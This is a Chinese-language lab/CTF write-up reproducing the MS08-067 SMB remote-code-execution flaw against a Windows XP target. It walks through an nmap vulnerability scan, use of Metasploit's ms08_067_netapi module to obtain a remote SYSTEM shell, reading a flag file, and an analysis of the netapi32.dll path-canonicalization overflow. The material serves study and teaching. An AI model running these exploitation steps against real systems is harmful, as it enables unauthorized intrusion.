RPC-exploit - MS08-067

First Post:

Last Update:

Word Count:
2.5k

Read Time:
9 min

cover

MS08-067 (aka CVE-2008-4250) 漏洞复现

前期准备

RPC漏洞

  • RPC是什么

RPCRemote Procedure Call, 远程过程调用)是操作系统的一种消息传递功能,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。RPC协议假定某些传输协议的存在,如TCPUDP,为通信程序之间携带信息数据。在OSI网络通信模型中,RPC跨越了传输层和应用层。RPC使得开发包括网络分布式多程序在内的应用程序更加容易。

微软的描述为:“一种能允许分布式应用程序调用网络上不同计算机的可用服务的消息传递实用程序。在计算机的远程管理期间使用”

  • RPC的三个过程

    • 通讯协议

      比如:你需要找人在国外干活,那么你可以直接飞过去或者打电话或者通过互联网的形式,去找人,这个找人的过程就是通讯协议

    • 寻址

      既然要找人干活,肯定要知道地址在哪,飞过去需要找到详细地址,打电话需要知道电话号码,互联网需要知道IP是多少

    • 数据序列化

      就是说,语言需要互通,才能够让别人干活,之间需要一个大家都懂的语言去交流

  • 攻击RPC漏洞

    攻击RPC漏洞其实就是攻击DCOM接口,二者相关联

    DCOM(分布式组件对象模型,分布式组件对象模式)是一系列微软的概念和程序接口。利用这个接口,客户端程序对象能够请求来自网络中另一台计算机上的服务器程序对象,DCOM基于组件对象模型COMCOM提供了一套允许同一台计算机上的客户端和服务器之间进行通信的接口

复现环境

  • 攻击机:kali-linux-2022.4-vmware-amd64
  • 靶机:Windows XP SP3

复现工具

  • MSF

    Metasploit Framwork,是一个综合性的渗透测试工具,集成信息收集、漏洞扫描、漏洞利用以及提权等功能的工具,目前安装的kali都自带MSF

  • Nmap

    Network Mapper,是一款开源免费的网络发现(Network Discovery)和安全审计(Security Auditing)工具。一般情况下,Nmap用于列举网络主机清单、管理服务升级调度、监控主机或服务运行状况。Nmap可以检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。

漏洞介绍

MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。

WindowsServer服务在处理特制RPC请求时存在缓冲区溢出漏洞,远程攻击者可以通过发送恶意的RPC请求触发这个溢出,导致完全入侵用户系统,SYSTEM权限执行任意指令。对于Windows 2000XPServer 2003,无需认证便可以利用这个漏洞 ,对于Windows VistaServer 2008,可能需要进行认证。

影响范围

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Microsoft Windows 2000 Service Pack 4
Windows XP Service Pack 2
Windows XP Service Pack 3
Windows XP Professional x64 Edition
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 1
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 SP1
Windows Server 2003 SP2
Windows Vista 和 Windows Vista Service Pack 1
Windows Vista x64 Edition 和 Windows Vista x64 Edition Service Pack 1
Windows Server 2008(用于 32 位系统)
Windows Server 2008(用于基于 x64 的系统)
Windows Server 2008(用于基于 Itanium 的系统)
Windows 7 Beta(用于 32 位系统)
Windows 7 Beta x64 Edition
Windows 7 Beta(用于基于 Itanium 的系统)

漏洞复现

目标

获取C:\GIFT\目录下的flag

检测通信

首先获取攻击机与靶机各自的IP地址

  • 攻击机kali

    IP:192.168.80.128

    kali_ifconfig

  • 靶机Windows XP
    IP:192.168.80.130

    xp_ipconfig

并且要保证二者能互相通信

kali能ping通xp

kaili_ping_xp

xp能ping通kali

xp_ping_kali

如果发现出现超时等Error,则可能是xp的防火墙未关闭,关闭即可

检查靶机是否开启了445端口,在cmd中执行netstat -an即可

xp_netstat

如图所示TCP 0.0.0.0:445的状态为LISTENING,则说明端口445已被打开

为什么是”445”端口?

  • 端口的作用

    我们知道,一台拥有IP地址的主机可以提供许多服务,比如Web服务、FTP服务、SMTP服务等,这些服务完全可以通过1个IP地址来实现。那么,主机是怎么区分不同的网络服务呢?显然不能只靠IP地址,因为IP地址与网络服务的关系是一对多的关系,实际上是通过“IP地址+端口号”来区分不同的服务的。

    需要注意的是,端口并不是一一对应的。比如你的电脑作为客户机访问一台WWW服务器时,WWW服务器使用“80”端口与你的电脑通信,但你的电脑则可能使用“3456”这样的端口。如下图所示:

    port_example

  • 端口的分类

    端口共1-65535号,知名端口范围从01023,这些端口号一般固定分配给一些服务,大家尽量不要使用。比如21端口分配给FTP服务,25端号分配给SMTP邮件传输协议服务,80端口分配给HTTP服务,135端口分配给RPC远程过程调用服务等等。

    动态端口的范围从102465535,这些端口号一般不固定分配给某个服务,也就是说许多服务都可以使用这些端口。只要运行的程序向系统提出访问网络的申请,那么系统就可以从这些端口号中分配一个供该程序使用。比如1024端口就是分配给第一个向系统发出申请的程序,在关闭程序进程后,就会释放所占用的端口号。注意,端口冲突就不能正常工作。

    同时,动态端口号也常常被病毒木马程序所利用,如冰河默认连接端口号是7626WAY 2.4连接端口号是8011Netspy 3.0连接端口号是7306YAI病毒连接端口号是1024等等。

  • 常见的端口

common_ports

  • 黑客通过端口可以干什么

    • 信息收集
    • 目标探测
    • 服务判断
    • 系统判断
    • 角色分析
  • 445端口

    参考链接:https://blog.csdn.net/qq_36119192/article/details/83279527

    比如2017年危害全球的永恒之蓝,就是利用的445端口。

    445端口就是利用SMB(Server Message Block)Windows协议族,用于文件共享、打印共享的服务。445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,他们能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化

    公开服务器打开139和445端口是一件非常危险的事情。 如果有Guest帐号,而且没有设置任何密码时,就能够被人通过因特网轻松地盗看文件。如果给该帐号设置了写入权限,甚至可以轻松地篡改文件。也就是说在对外部公开的服务器中不应该打开这些端口。通过因特网使用文件服务器就等同自杀行为,因此一定要关闭445端口。对于利用ADSL永久性接入因特网的客户端机器可以说也是如此。

漏洞扫描

利用kaliNmap工具对靶机进行信息搜集,先进入nmap得漏洞插件目录,检查ms08-067模块

1
2
3
4
5
┌──(root㉿kali)-[~/Desktop]
└─# cd /usr/share/nmap/scripts

┌──(root㉿kali)-[/usr/share/nmap/scripts]
└─# ls

check_module

现在使用命令nmap --script=vuln 192.168.80.130对靶机进行漏洞扫描:主机存活,445端口开放,且存在MS08-067漏洞。

nmap

执行msfconsole,进入MSF

msfconsole

search ms08-067命令查看可利用模块

search_ms08_067

使用use exploit/windows/smb/ms08_067_netapi进入模块里,并用show options查看使用说明

use_show

其中RHOSTS代表靶机地址,此时为空,需要我们手动设置,而LHOST代表攻击机,IP已被自动设置,使用set rhost 192.168.80.130设置靶机地址

set_rhost

使用exploit进行渗透攻击,并使用shell直接跳转到靶机命令行

exploit_shell

找到flag.txt后使用type打开即可

search_for_flag

type_flag

flag:flag{n1ce_try_0f_MS08_067}

漏洞分析

MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。

1
2
3
所谓路径规范化,就是将路径字符串中的[/]转换为[\],同时去除相对路径[.\]和[..\]。如:
**/*/./** => **\*\**
**\*\..\** => **\**

在路径规范化的操作中,服务程序对路径字符串的地址空间检查存在逻辑漏洞。攻击者通过精心设计输入路径,可以在函数去除[…\]字符串时,把路径字符串中内容复制到路径串之前的地址空间中(低地址),达到覆盖函数返回地址,执行任意代码的目的。

通过IDA Pro打开C:\windows\system32\netapi32.dll,找到漏洞所在的NetpwPathCanonicalize函数并双击。通过观察其流程图CFG可知,此函数并没有直接进行输入路径和规范化,而是调用了下级函数CanonicalizePathName来进行路径整理,将待整理的路径字符串进行规范化,然后再保存到预先分配的输出路径缓冲区buffer中,最终造成缓冲区溢出漏洞。

reward
Alipay
Wechat